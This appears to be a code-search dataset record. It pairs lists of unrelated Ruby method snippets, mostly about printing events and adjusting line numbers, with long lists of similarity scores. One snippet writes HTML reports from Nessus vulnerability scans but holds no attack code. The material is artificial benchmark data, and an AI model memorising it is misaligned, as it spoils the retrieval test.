"def dump(indent=' ')\n lines = []\n stack = []\n offset = 0\n close = false\n index = 0\n last_length = nil\n\n while index < @events.size\n event = @events[index]\n\n if close\n os = stack.pop\n start = stack.pop\n rule = stack.pop\n\n space = indent * (stack.size / 3)\n string = self.string.slice(os, event)\n lines[start] = \"#{space}#{string.inspect} rule=#{rule}, offset=#{os}, length=#{event}\"\n\n last_length = event unless last_length\n\n close = false\n elsif event == CLOSE\n close = true\n else\n if last_length\n offset += last_length\n last_length = nil\n end\n\n stack << event\n stack << index\n stack << offset\n end\n\n index += 1\n end\n\n puts lines.compact.join(\"\\n\")\n end",
"def output &block\n events = []\n wrapper = lambda do |e|\n events << e\n block[e] if block\n end\n\n follow_job_output(&wrapper)\n\n events\n end",
"def each_event\n\t\t\twhile event = SDC.window.poll_event do\n\t\t\t\tyield event\n\t\t\tend\n\t\tend",
"def format_events_for(_date,show_empty=false,show_ids=false)\n if (_line=event_headlines_for(_date,show_ids)) != '' || show_empty\n (show_ids ? \"%s:\\n%s\" : \"%s: %s\") % [_date.strftime(DEFAULT_DATE_FORMAT), _line]\n end\n end",
"def activity_logging\n %w(write delete).each do |event|\n observer = @ts.notify(event, [:name, nil, DRbObject, nil])\n activity_output(observer)\n end\n end",
"def print_tracks tracks\n i = 0\n for i in 0..tracks.length - 1 do\n\t puts '*********************************************'\n\t puts '**************** Track No. ' + (i + 1).to_s + ' ****************'\n\t print_track(tracks[i])\n\t puts ''\n end\nend",
"def print_calendar(year, month)\n week_day = Date.new(year, month, 1).cwday\n month_length = days_in_month(year, month)\n line = [\"Sun\\tMon\\tTues\\tWed\\tThurs\\tFri\\tSat\"]\n days = (1..month_length).to_a\n week_day.times { days.unshift(\"\\t\") }\n\n puts\n puts line\n days.each_slice(7) do |week|\n week.each do |day|\n print day\n\n # check if there is a event at this date\n unless day == \"\\t\"\n curr_date = Date.new(year, month, day.to_i)\n if @calendar_events.key?(curr_date)\n count = @calendar_events[curr_date].size\n print \"[#{count}]\"\n end\n end\n\n print \"\\t\" unless day == \"\\t\"\n end\n puts\n end\n puts\n end",
"def each_event(&block)\n find_by_terms(:event).each do |node|\n block.call(node['type'], node['who'], Time.parse(node['when']), node.content)\n end\n end",
"def printRunStream(stream)\n stream.each do |currentRun|\n puts \"Weekday: #{currentRun[:weekday]} Duration: #{currentRun[:duration]}s Distance: #{currentRun[:distance]}m\"\n end\nend",
"def print_raw(filename = @event.printed_name)\n confirm_filename(filename)\n filename << \"_raw.txt\"\n File.open(filename, \"w+\") do |file|\n file.puts @event.printed_name\n @list.map do |elt|\n file.puts elt.raw\n end\n end\n end",
"def showData\n $page = $page +\n \"<dl>\\n\" +\n \" <dt>events\\n\" +\n \" <dd>\" + $events + \"\\n\" +\n \"</dl>\\n\"\nend",
"def get_complete_events\n #object.get_complete_events.split(\"\\r\\n\").map{ |e| content_tag(:p, e) }.join().html_safe\n object.get_complete_events.split(\"\\r\\n\").join('<br/><br/>').html_safe\n end",
"def get_complete_events\n #object.get_complete_events.split(\"\\r\\n\").map{ |e| content_tag(:p, e) }.join().html_safe\n object.get_complete_events.split(\"\\r\\n\").join('<br/><br/>').html_safe\n end",
"def iterate_all\r\n\tcount = 0\r\n\twhile count < @num_prospectors\r\n\t puts 'Prospector ' + String(count + 1) + ' starting at Sutter Creek.'\r\n\t prospectors[count].iterate\r\n\t puts ' '\r\n\t count += 1\r\n\tend\r\n end",
"def command_show(date = Date.today)\n entries = @log.get_entries(date)\n if entries != nil\n entries.each { |i|\n puts i.to_s\n }\n end\n end",
"def show\r\n @ip_events = Ahoy::Event.events_for_ip_and_visit(@visit.ip, @visit.id)\r\n @user_events = []\r\n @event_days = Ahoy::Event.uniq_events_days_for_ip(@visit.ip)\r\n @event_links = Ahoy::Event.top_x_url_visits_for_ip(15, @visit.ip)\r\n end",
"def view_queue (array)\n array.each do |movie|\n puts \"You will watch #{movie}\"\n end\nend",
"def show_all_entries()\n\n puts @title\n\n @entries.each do |entry|\n puts entry\n end\n\n end",
"def terminal_events\n each_event.find_all { |_, e| e.terminal? }\n .map { |_, e| e }\n end",
"def show\n data, format = [], []\n \n update(:elapsed, (Time.now - @start_time).to_i)\n \n sorted = @data.sort { |a,b| a[1][:order]<=>b[1][:order] }\n sorted.each do |item|\n format << \"#{item[0].to_s.capitalize}: #{item[1][:format]}\"\n data << item[1][:value] \n end\n \n $stdout.printf(format.join(' | ') + \"\\r\", *data)\n $stdout.flush\n end",
"def show\n @events = Event.last(4).reverse \n end",
"def calendar_format_printer\n lambda do |event|\n if (event[:date].include?(':'))\n \"#{DateTime.parse(event[:date]).strftime('%b %d %H:%M')}\\t#{event[:text]}\"\n else\n \"#{Date.parse(event[:date]).strftime('%b %d')}\\t#{event[:text]}\"\n end\n end\nend",
"def print_tracks tracks\n\tindex = 0\n\twhile index < tracks.length\n\t\tprint_track tracks[index]\n\t\tindex += 1\n\tend\nend",
"def send_events; end",
"def format\n '<div class=\"evName\">'+event_type.name+'</div><div class=\"evRoad\">'+road+'</div><div class=\"evDescription\">'+description+'</div>'\n end",
"def view_queue (queue)\n queue.each do |movie|\n puts \"You will watch #{movie}\"\nend\nend",
"def print_html(filename = @event.printed_name)\n confirm_filename(filename)\n filename << \"_html.txt\"\n File.open(filename, \"w+\") do |file|\n file.write EventPrinter::HTML::head(@event.printed_name)\n @list.map do |elt|\n file.write elt.html\n end\n file.write EventPrinter::HTML::foot\n end\n end",
"def show_events\n @events = Event.order(\"created_at\").to_a\n end",
"def show\n @events = read_stream(\"Domain::Entity$#{@entity.uid}\")\n end",
"def print_vulns\n\t\[email protected] do |id,values|\n\t\t\tnext if values[:severity].to_i < @options[:severity].to_i\n\t\t\tFile.open(@options[:output] + \"/vuln_\" + id.to_s + \".html\", 'w') do |f|\n\t\t\t\thtml_header(f,id.to_s)\n\n\t\t\t\tclose_html_header(f)\n\n\t\t\t\tbody = '<a href=\"index.html\">Home</a><br /><div id=\"vuln\" style=\"font-family: Arial, Helvetica, sans-serif\"><div id=\"overview\">Nessus ID: ' + id.to_s + '<br />Name: ' + values[:plugin_name] + '<br />Severity: ' + values[:severity].to_s + '<br />Family: ' + values[:family] + '<br />Ports: '\n\t\t\t\timpacted_hosts = []\n\t\t\t\tvalues[:ports].each_with_index {|(k,v),index|\n\t\t\t\t\tbody += k.to_s\n\t\t\t\t\tv[:hosts].each do |h,w|\n\t\t\t\t\t\timpacted_hosts << h\n\t\t\t\t\tend\n\t\t\t\t\tbody += \", \" unless index == values[:ports].length - 1\n\t\t\t\t}\n\t\t\t \tbody += '<br /><br />Synopsis:<br />' + values[:synopsis] + '<br /><br />Description:<br />' + values[:description] + '<br /><br />Solution:<br />' + values[:solution] + '<br /><br />See Also:<br />'\n\t\t\t\tvalues[:see_also].each do |val|\n\t\t\t\t\tval.split(\"\\n\").each do |val2|\n\t\t\t\t\t\tbody += '<a href=\"' + val2 + '\">' + val2 + '</a><br />'\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tbody +='<br /><br />CVE: ' + values[:cve].to_s + '<br />CVSS Base Score: ' + values[:cvss_base_score].to_s + '<br />CVSS Vector: ' + values[:cvss_vector].to_s + '</div>'\n\t\t\t\tbody += '</div>'\n\n\t\t\t\tbody += '<div id=\"hosts\" style=\"font-family: Arial, Helvetica, sans-serif\"><h2>Hosts</h2>'\n\n\t\t\t\tbody += '<table id=\"hosts_table\" class=\"display\"><thead><tr><th>Host IP</th><th>Hostname</th><th>OS</th><th>Port</th><th>Result</th></tr></thead><tbody>'\n\n\t\t\t\timpacted_hosts.uniq.each do |host|\n\n\t\t\t\t\tvalues[:ports].each{|k,v|\n\t\t\t\t\t\tv[:hosts].each do |h,w|\n\t\t\t\t\t\t\tif h == host\n\t\t\t\t\t\t\t\tbody += '<tr><td><a href=\"host_' + host.to_s + '.html\">' + @hosts[host][:ip] + '</a></td><td>' + @hosts[host][:hostname] + '</td><td>' + @hosts[host][:os] + '</td>'\n\t\t\t\t\t\t\t\tbody += '<td>' + k.to_s + '</td><td>' + w.to_s.gsub(/<\\/?[^>]*>/, \"\").gsub(\"\\n\",\"<br />\\n\") + \"</td></tr>\\n\"\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\tend\n\n\t\t\t\tbody += '</tbody></table>'\n\n\t\t\t\tbody += '<script>$(document).ready(function() { $(\\'#hosts_table\\').dataTable({\"bPaginate\": false,\"aaSorting\": [[0,\"asc\"]]}); });</script>'\n\n\t\t\t\tbody_text(f,body)\n\n\t\t\t\tclose_all(f)\n\t\t\tend\n\t\tend\n\tend",
"def show\n :set_event\n :event_counts\n end",
"def index\n @events = Event.all.order(:time)\n end",
"def emit(dia, xmax, ymax, height)\n ehead xmax, ymax, height\n\n dia.each_pair do |pod_name, actions|\n actions.each do |el|\n title = \"#{pod_name}: #{el.state} started @#{el.start} for #{el.width}s\"\n ebox text: el.state, x_pos: el.x, y_pos: el.y,\n width: el.width, height: el.height, title: title\n end\n etext pod_name, actions.last.x + actions.last.width + 2, actions.last.y + 2\n end\n etail\nend",
"def all\n ButterSand::Parser.to_array(get(PATH_SAIJI)).map {|event| ButterSand::Event.new(event)}\n end",
"def events\n object.events.last(10)\n end",
"def index\n @events = Event.all.next\n end",
"def display_schedules\n puts label\n puts scheduled_meetings\n end",
"def print_resource_events(doc)\n doc.resources.each do |resource|\n selector = [\"involvedObject.name=#{resource.name}\"]\n\n # do not query for nil uid ... rather show events for old+new resource when creation failed\n if uid = resource.uid\n selector << \"involvedObject.uid=#{uid}\"\n end\n\n events = doc.deploy_group.kubernetes_cluster.client.get_events(\n namespace: resource.namespace,\n field_selector: selector.join(',')\n )\n next if events.none?\n @output.puts \"RESOURCE EVENTS #{resource.namespace}.#{resource.name}:\"\n print_events(events)\n end\n end",
"def display_results\n\n title1 = sprintf(TITLE_ROW, \"METH\", \"PATH\", \"CALLED\", \"RESPONSE TIME(ms)\",\"\", \"\", \"\", \"\",\"\",\"\", \"DYNO\", \"MESSAGE\", \"SIZE\")\n puts(title1)\n printf(TITLE_ROW, \"\", \"\", \"Times\", \"Mean\",\" : \",\"Median\",\" : \",\"Mode\",\" : \", \"Range\", \"Busiest\", \"Average\", \"Max\")\n puts('-'*title1.length)\n @endpoints.each do | ep |\n if ep.called == 0 then\n printf(TITLE_ROW, ep.ep_method,ep.ep_path, \" Never\", \" \",\" : \",\" \",\" : \",\" \",\" : \", \" \", \" \", \" \", \" \")\n else\n printf(DATA_ROW,\n ep.ep_method,\n ep.ep_path,\n ep.called,\n ep.averages[:responses].mean,\n ep.averages[:responses].median,\n ep.averages[:responses].mode,\n ep.averages[:responses].range,\n ep.busiest_dyno,\n ep.averages[:bytes].mean,\n ep.averages[:bytes].hi)\n end\n end\n\n if @endpoints.unprocessed_lines > 0\n puts \"There were #{@endpoints.unprocessed_lines} Unprocessed Lines of data from #{@loglines} total lines in the log!\"\n else\n puts \"All #{@loglines} total lines in the log were processed!\"\n end\n end"
] | [
"0.8099862",
"0.74389297",
"0.7233531",
"0.72172785",
"0.7173616",
"0.71060103",
"0.69325256",
"0.69086456",
"0.6794468",
"0.6791981",
"0.66129893",
"0.6533328",
"0.6512295",
"0.64493334",
"0.64128244",
"0.6406028",
"0.63991565",
"0.63930964",
"0.6180031",
"0.61016333",
"0.6082304",
"0.5998829",
"0.59704244",
"0.5964971",
"0.5854875",
"0.5852888",
"0.5838214",
"0.5837732",
"0.5822928",
"0.5813537",
"0.5812206",
"0.58038545",
"0.5802815",
"0.5799515",
"0.57957447",
"0.5787862",
"0.5780408",
"0.57780695",
"0.5766794",
"0.5727392",
"0.5700034",
"0.56965744",
"0.5688999",
"0.5677293",
"0.5676366",
"0.56666166",
"0.5651746",
"0.5643005",
"0.5614288",
"0.5597191",
"0.5585099",
"0.5585099",
"0.5585099",
"0.5585099",
"0.5585099",
"0.5585099",
"0.5585099",
"0.5585099",
"0.5580207",
"0.55732054",
"0.5566893",
"0.55611795",
"0.5553947",
"0.55528986",
"0.55452025",
"0.5521358",
"0.55211616",
"0.55176324",
"0.5517242",
"0.5511718",
"0.54989934",
"0.5493873",
"0.5492642",
"0.5492642",
"0.5485328",
"0.5483908",
"0.5469918",
"0.5465422",
"0.5461083",
"0.54600286",
"0.5441276",
"0.543572",
"0.5414592",
"0.54134184",
"0.539977",
"0.5390393",
"0.53862125",
"0.5367452",
"0.5355969",
"0.5353489",
"0.5343463",
"0.53302944",
"0.53278357",
"0.5324797",
"0.5322683",
"0.53136784",
"0.53130335",
"0.53119123",
"0.5311758",
"0.53044593"
] | 0.7645054 | 1 |
Correct the line number in each trace. In the begining, the line number value is numbered based on the begining os the complete code. This method re calculates the line number based on the start of the student code. | def modify_lines (code)
line_number = 0
event_number = 0
initial_line_number = @list_of_events[0].line_number
@list_of_events.each do |modify|
temp_string = modify.trace
temp_line = modify.line_number
line_number = temp_line % initial_line_number
if code[line_number] == 'newline' || code[line_number] == '\\t'
line_number += 1
else
original_line = temp_line.to_s
new_line = line_number.to_s
temp_string.gsub! original_line, new_line
modified_event = Event.new
modified_event.set_event(temp_string)
modified_event.set_line(line_number)
@list_of_events[event_number] = modified_event
event_number += 1
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update_line_numbers!\n each_with_index do |lo, new_line_number|\n lo.line_number = new_line_number\n end\n end",
"def start_line_number=(_); end",
"def line_number\n\t\t\t@line_index + 1\n\t\tend",
"def start_line_number; end",
"def start_line_number; end",
"def original_line_number(new_line)\n # First of all, convert the line number to an integer\n new_line = new_line.to_i\n\n if @phase == :execute\n # It's the execute phase, so we have more to do\n if @augmented_code.nil?\n # We haven't augmented the code with line numbers or anything\n number_of_prepended_lines = make_runnable(\"\").count(\"\\n\")\n return new_line - number_of_prepended_lines\n\n else\n # Pull the offending line out of the augmented code\n augmented_code_lines = @augmented_code.lines\n if new_line > augmented_code_lines.length\n # We were not able to find the line the error message refers to. Shouldn't happen.\n return \"<unbekannt>\"\n else\n # Check if the line has a line number comment\n ln = PythonCodeAugmenter.extract_line_number(augmented_code_lines[new_line - 1])\n if ln.nil?\n return \"<unbekannt>\"\n else\n return ln\n end\n end\n end\n\n else\n # It's not the execute phase, so we can simply return the line number\n return new_line\n end\n end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def current_line_number; end",
"def line_number\n @line_number_overwrite || default_line_number\n end",
"def line_num; end",
"def assign_line_numbers\n line_num = 1;\n\n @line_num = [ ]\n @tokens.each do |token|\n @line_num << line_num\n line_num += token.count \"\\n\"\n end\n end",
"def line(number); end",
"def normalized_line_number(line_number, total_lines)\n line_number < 0 ? line_number + total_lines : line_number\n end",
"def change_prefix_2_line_number(code)\n break_counter = 0\n starts_and_ends = []\n code.scan(Regexp.new(\"(?:->|case|if|fun\\\\s*(?:\\\\s[A-Z]\\\\w*)?\\\\(.*\\\\)\\\\s*(?:when.*)?->)line#{VM_PREFIX}\")) do\n starts_and_ends << {type: 'start',\n starts: Regexp.last_match.offset(0).first,\n ends: Regexp.last_match.offset(0).last}\n end\n code.scan(Regexp.new(\"(?:\\\\.|;|end)line#{VM_PREFIX}\")) do\n starts_and_ends << {type: 'end',\n starts: Regexp.last_match.offset(0).first,\n ends: Regexp.last_match.offset(0).last}\n end\n starts_and_ends.sort_by! { |hsh| hsh[:starts] }\n\n break_array = []\n starts_and_ends.each do |element|\n # filter start- and endpoints of functions to correctly insert\n # break functionality\n if element[:type] == 'start' && break_counter == 0\n break_array << element\n break_counter = 1\n elsif element[:type] == 'end' && break_counter == 1\n break_array << element\n break_counter = 0\n elsif element[:type] == 'start'\n break_counter += 1 unless code[element[:starts], 4] == 'case' || code[element[:starts], 2] == 'if'\n elsif element[:type] == 'end'\n break_counter -= 1\n end\n end\n\n break_code = code\n break_array.reverse_each do |element|\n if element[:type] == 'start'\n break_code.slice!(element[:starts]..element[:ends]-1)\n break_code = code.insert(element[:starts],\n \"-> a#{VM_PREFIX}_line(number#{VM_PREFIX}), a#{VM_PREFIX}_break(fun() -> \")\n elsif element[:type] == 'end'\n break_code = code.insert(element[:starts], \" end)\")\n end\n end\n\n return_code = ''\n number = 1\n break_code.each_line do |line|\n\n # every arrow with prefix for processing gets a line-function\n # for highlighting information\n line.gsub!(regex_arrow_prefix, \"-> a#{VM_PREFIX}_line(#{number}), \")\n\n # insert line number in former inserted line-functions\n line.gsub!(Regexp.new(\"a#{VM_PREFIX}_line\\\\(number#{VM_PREFIX}\\\\)\"), \"a#{VM_PREFIX}_line(#{number})\")\n\n # find pirate-operations and insert line-number\n line.gsub!(regex_op_prefix, \"(#{number}, \")\n # special treatment for functions with zero parameters,\n # delete previously inserted comma\n line.gsub!(/\\(\\d+,\\s+\\)/, \"(#{number})\")\n\n # add comma with line-number information\n return_code += line.chomp + \" % #{VM_PREFIX}_(#{number}#{VM_PREFIX}_)\\n\"\n number += 1\n end\n return_code\nend",
"def line_number(pos=pos)\n line_index(pos) + 1\n end",
"def line_number(pos=pos())\n line_index(pos) + 1\n end",
"def test_get_line_number_03\n old_positions = OriginalFile.get_line_number(1)\n old_array_line_number=[1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52]\n assert_equal old_array_line_number,old_positions.values_at(0..50)\n\n new_positions = OriginalFile.get_line_number(2)\n new_array_line_number=[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51]\n assert_equal new_array_line_number,new_positions.values_at(0..50)\n end",
"def line_id\n @line_number - 1\n end",
"def line_numbering(value)\n @document_builder.line_numbering = value\n end",
"def line(number)\n end",
"def previous_code_line(line_number); end",
"def line_number=(_arg0); end",
"def line_number=(_arg0); end",
"def line_number=(_arg0); end",
"def line_number\n number[6..-1]\n end",
"def lineno=(p0) end",
"def lineno=(p0) end",
"def lineno=(p0) end",
"def line_number\n raise \"This loader doesn't support line_number\"\n end",
"def lines_offset\n @starting_line - 1\n end",
"def line_number\n @value.line_number if @value.respond_to?(:line_number)\n end",
"def fixed_line_number\n FFaker.numerify('6### ####')\n end",
"def _increment_file_line()\n\t\t@reading_line += 1\n\tend",
"def update_loc_count(src_code)\n if src_code\n self.loc_count = src_code.each_line.reject{|l| l.blank?}.count\n end\n end",
"def lineNum()\n caller_infos = caller.first.split(\":\")\n # Note caller_infos[0] is file name\n # caller_infos[1]\n return \"Line no. #{caller_infos[1]}\"\nend",
"def lineno() end",
"def lineno() end",
"def lineno() end",
"def transaction_set_line_number(index)\n ['LX', index.to_s.rjust(4, '0')].join(@element_seperator)\n end",
"def default_line_number\n return current_layout.line_count\n end",
"def lineno=(num)\n num = Maglev::Type.coerce_to(num, Fixnum, :to_int)\n @_st_lineno = num\n $. = num\n num\n end",
"def get_number(lines)\n lines.shift.to_i\n end",
"def set_line(line_number)\n @line_number = line_number\n end",
"def source_line(lineno); end",
"def number lines\n lines.each_with_index.map { |x,i| \"#{i + 1}: #{x}\" }\nend",
"def line_index()\n end",
"def line_code\n @attrs['Line']\n end",
"def visible_line_number\n return 4\n end",
"def visible_line_number\n return 4\n end",
"def visible_line_number\r\n return 5\r\n end",
"def get_trace_id(line)\n return line.split(\"\\t\")[1].to_i\nend",
"def start_line_for(code_object)\n if code_object.command? || opts.present?(:'base-one')\n 1\n else\n code_object.source_line.nil? ? 1 :\n (code_object.source_line - code_object.doc.lines.count)\n end\n end",
"def line_num_to_coord(n)\n\t\t(n + 1) * font_metrics.height\n\tend",
"def lineNum() # Had to move this to above the first call or it didn't work. Didn't think that was necessary\n caller_infos = caller.first.split(\":\")\n # Note caller_infos[0] is file name\n caller_infos[1]\nend",
"def line_for_position(position); end",
"def line_for_position(position); end",
"def line_for_position(position); end",
"def symbol(ds, index, y = 0)\n # Line that always appear\n x = (100 + SPACE) * index\n line(50, 0, 50, 100).translate(x, y)\n # Lines that may or may not appear depending of the digit\n ds.each do |num|\n case num\n when 1\n line(50, 0, 100, 0).translate(x, y) # 1579 -\n when 2\n line(50, 50, 100, 50).translate(x, y) # 289 _\n when 3\n line(50, 0, 100, 50).translate(x, y) # 3 \\\n when 4\n line(50, 50, 100, 0).translate(x, y) # 45 /\n when 5\n line(50, 0, 100, 0).translate(x, y) # 1579 -\n line(50, 50, 100, 0).translate(x, y) # 45 /\n when 6\n line(100, 0, 100, 50).translate(x, y) # 6789 |\n when 7\n line(50, 0, 100, 0).translate(x, y) # 1579 -\n line(100, 0, 100, 50).translate(x, y) # 6789 |\n when 8\n line(100, 0, 100, 50).translate(x, y) # 6789 |\n line(50, 50, 100, 50).translate(x, y) # 289 _\n when 9\n line(50, 0, 100, 0).translate(x, y) # 1579 -\n line(100, 0, 100, 50).translate(x, y) # 6789 |\n line(50, 50, 100, 50).translate(x, y) # 289 _\n when 10\n line(50, 0, 0, 0).translate(x, y) # 1579 -\n when 20\n line(50, 50, 0, 50).translate(x, y) # 289 _\n when 30\n line(50, 0, 0, 50).translate(x, y) # 3 /\n when 40\n line(50, 50, 0, 0).translate(x, y) # 45 \\\n when 50\n line(50, 50, 0, 0).translate(x, y) # 45 \\\n line(50, 0, 0, 0).translate(x, y) # 1579 -\n when 60\n line(0, 50, 0, 0).translate(x, y) # 6789 |\n when 70\n line(0, 50, 0, 0).translate(x, y) # 6789 |\n line(50, 0, 0, 0).translate(x, y) # 1579 -\n when 80\n line(50, 50, 0, 50).translate(x, y) # 289 _\n line(0, 50, 0, 0).translate(x, y) # 6789 |\n when 90\n line(0, 50, 0, 0).translate(x, y) # 6789 |\n line(50, 0, 0, 0).translate(x, y) # 1579 -\n line(50, 50, 0, 50).translate(x, y) # 289 _\n when 100\n line(50, 100, 100, 100).translate(x, y) # 1579 _\n when 200\n line(50, 50, 100, 50).translate(x, y) # 289 -\n when 300\n line(50, 100, 100, 50).translate(x, y) # 3 /\n when 400\n line(50, 50, 100, 100).translate(x, y) # 45 \\\n when 500\n line(50, 50, 100, 100).translate(x, y) # 45 \\\n line(50, 100, 100, 100).translate(x, y) # 1579 _\n when 600\n line(100, 50, 100, 100).translate(x, y) # 6789 |\n when 700\n line(100, 50, 100, 100).translate(x, y) # 6789 |\n line(50, 100, 100, 100).translate(x, y) # 1579 _\n when 800\n line(100, 50, 100, 100).translate(x, y) # 6789 |\n line(50, 50, 100, 50).translate(x, y) # 289 -\n when 900\n line(100, 50, 100, 100).translate(x, y) # 6789 |\n line(50, 100, 100, 100).translate(x, y) # 1579 _\n line(50, 50, 100, 50).translate(x, y) # 289 -\n when 1000\n line(50, 100, 0, 100).translate(x, y) # 1579 _\n when 2000\n line(50, 50, 0, 50).translate(x, y) # 289 -\n when 3000\n line(50, 100, 0, 50).translate(x, y) # 3 \\\n when 4000\n line(50, 50, 0, 100).translate(x, y) # 45 /\n when 5000\n line(50, 50, 0, 100).translate(x, y) # 45 /\n line(50, 100, 0, 100).translate(x, y) # 1579 _\n when 6000\n line(0, 50, 0, 100).translate(x, y) # 6789 |\n when 7000\n line(50, 100, 0, 100).translate(x, y) # 1579 _\n line(0, 50, 0, 100).translate(x, y) # 6789 |\n when 8000\n line(0, 50, 0, 100).translate(x, y) # 6789 |\n line(50, 50, 0, 50).translate(x, y) # 289 -\n when 9000\n line(0, 50, 0, 100).translate(x, y) # 6789 |\n line(50, 100, 0, 100).translate(x, y) # 1579 _\n line(50, 50, 0, 50).translate(x, y) # 289 -\n end\n end\nend",
"def line\n 1\n end",
"def change_line(line_num, text) \n\t\traise \"no newlines here yet please\" if text =~ /\\n/\n\t\n\t\tix1, ix2 = line_index(line_num) + 1, line_index(line_num + 1)\n\t\t@text[ix1...ix2] = text\n\t\t(line_num...@line_indices.length).each { |i| @line_indices[i] += text.length - (ix2 - ix1) }\n\tend",
"def visible_line_number\n return 1\n end",
"def visible_line_number\n return 1\n end",
"def line_number\n return unless backtrace and backtrace[0]\n\n backtrace[0].split(\":\")[1].to_i\n end",
"def with_line_numbers(y_n = true)\n alter do\n @with_line_numbers = y_n\n end\n end",
"def with_line_numbers(y_n=true)\n alter do\n @with_line_numbers = y_n\n end\n end",
"def line_number\n env(:line_number).to_i - 1\n end",
"def from_line_index\n from_line - 1\n end",
"def possibly_add_trace_info_calls(line)\n # If the current line does not start a logical line, don't bother\n if not @state[:ll_start]\n return line\n end\n\n # We will be making decisions based on the first word on the line\n line_words = line.split\n if line_words.empty?\n # The line is empty, so we disregard it\n return line\n end\n first_word = line_words[0]\n\n # Extract first word and check if it makes us want to refrain from adding a line number call\n if KEYWORDS_WITHOUT_LINE_NUMBERS.include?(first_word)\n # It's one of the statements we don't want\n return line\n\n elsif [\"'\", '\"', \"#\"].include?(first_word[0])\n # The line starts with a string or with a comment\n return line\n end\n\n # Do include a line number call\n return \"#{@state[:indent_string]}garbledwebpiratenlibraryname.debug(locals(), globals())\\n\" +\n \"#{@state[:indent_string]}garbledwebpiratenlibraryname.line(#{@state[:line_number]})\\n\" +\n \"#{line}\"\n end",
"def lineNum()\n caller_infos = caller.first.split(\":\")\n # Note caller_infos[0] is file name\n caller_infos[1]\nend",
"def calculate_level\n # Increase level for every 10 lines cleared\n @level = @start_level + (@lines_cleared / 10).floor\n end",
"def line_number\n $curwin.cursor.first\n end",
"def augment_code()\n @augmented_code = \"\"\n\n # Configure variable tracing (the variables to be traced are declared at the\n # beginning of the program)\n @augmented_code += generate_tracing_configuration()\n\n # Iterate over the original code's lines\n @code.each_line do |line|\n @state[:line_number] += 1\n\n # Remove trailing whitespace. If the line is not empty, parse and process it.\n line.rstrip!\n if !line.empty?\n # Update our state based on the current line\n parse_line(line)\n\n # Add stuff if necessary\n line = possibly_add_line_number_comment(line)\n line = possibly_add_trace_info_calls(line)\n end\n\n @augmented_code += line + \"\\n\"\n end\n end",
"def first_line_in_view()\n\t\tcoord_to_line_num(contents_y)\n\tend",
"def current_line_number\n # Not using string[@previous_pos..best_pos].count('\\n') because it is slower\n strscan = ::StringScanner.new(string)\n strscan.pos = @previous_pos\n old_pos = pos + 1\n @previous_line_number += 1 while strscan.skip_until(/\\n/) && strscan.pos <= old_pos\n\n @previous_pos = (eos? ? pos : pos + 1)\n @previous_line_number\n end",
"def lineno\n @__line\n end",
"def lineno= integer\n #This is a stub, used for indexing\n end",
"def lineno; end",
"def lineno; end",
"def lineno; end",
"def __caller_line_number__(caller_depth=0)\n return if RUBY_ENGINE == 'opal'\n caller[caller_depth] && caller[caller_depth][PutsDebuggerer::STACK_TRACE_CALL_LINE_NUMBER_REGEX, 1].to_i\n end",
"def lineno\n @_st_lineno\n end",
"def line_number_style\n if opts.present?(:'base-one')\n :'base-one'\n elsif opts.present?(:'line-numbers')\n :'line-numbers'\n else\n nil\n end\n end",
"def coord_to_line_num(y)\n\t\ty / font_metrics.height - 1\n\tend",
"def lineno\n end",
"def lineno\n end",
"def outline_number_sequence(prev_siblings)\n prev_siblings.count + 1\n end",
"def possibly_add_line_number_comment(line)\n if @state[:ll_end]\n return line + \" # WPLINE_#{@state[:line_number]}\"\n else\n return line\n end\n end",
"def new_line!(number)\n if @preprocessor.line_first\n @packet.send_packet\n @packet.add_line(number.to_i)\n else\n @packet.add_line(number.to_i)\n @packet.send_packet\n end\nend",
"def original_line; end",
"def pretty_print_lines\n cov_enum = coverage.each\n cov_source_lines = (node.first_line..node.last_line).map do |line_no|\n cov_line_no = begin\n cov_enum.peek[0]\n rescue StopIteration\n -1\n end\n cov_enum.next[1] if cov_line_no == line_no\n end\n cov_source_lines.zip(node.source_lines_with_numbers)\n end",
"def track_line_number(line_number)\n @min_line_number = line_number if line_number < min_line_number\n @max_line_number = line_number if line_number > max_line_number\n self\n end",
"def line_offset\n\t\t\t@offset - @line_range.min\n\t\tend",
"def line_numbers\n return (line..line) unless @value && text\n\n end_line = if !lines.empty?\n line + lines.count - 1\n elsif children.empty?\n nontrivial_end_line\n else\n line\n end\n\n (line..end_line)\n end",
"def target_line_number\n model.source_location(target_symbol)[:line_number]\n end"
] | [
"0.66758853",
"0.6604923",
"0.6539844",
"0.65312266",
"0.65312266",
"0.65311056",
"0.6339304",
"0.6339304",
"0.6339304",
"0.6339304",
"0.6339304",
"0.6339304",
"0.6339304",
"0.63314104",
"0.6306968",
"0.6254753",
"0.62531304",
"0.6188669",
"0.6150878",
"0.6140371",
"0.61385244",
"0.60965",
"0.6088822",
"0.6067313",
"0.604762",
"0.6024656",
"0.59851384",
"0.5973106",
"0.5973106",
"0.5973106",
"0.596269",
"0.593931",
"0.593931",
"0.59391654",
"0.5868564",
"0.5837569",
"0.5780664",
"0.5776314",
"0.5768333",
"0.5740639",
"0.5737535",
"0.5726172",
"0.5726172",
"0.5726172",
"0.572378",
"0.5720637",
"0.5718002",
"0.57142806",
"0.5688876",
"0.5671175",
"0.5662367",
"0.5654025",
"0.56477726",
"0.56320757",
"0.56320757",
"0.56313074",
"0.5623503",
"0.5618468",
"0.5606738",
"0.55969524",
"0.55869853",
"0.55869853",
"0.55869853",
"0.5584733",
"0.55711263",
"0.55683637",
"0.554759",
"0.554759",
"0.5546977",
"0.5542247",
"0.5540159",
"0.55378217",
"0.55342305",
"0.5532873",
"0.552163",
"0.5492421",
"0.54800344",
"0.54781485",
"0.54739916",
"0.54627717",
"0.54551786",
"0.5434136",
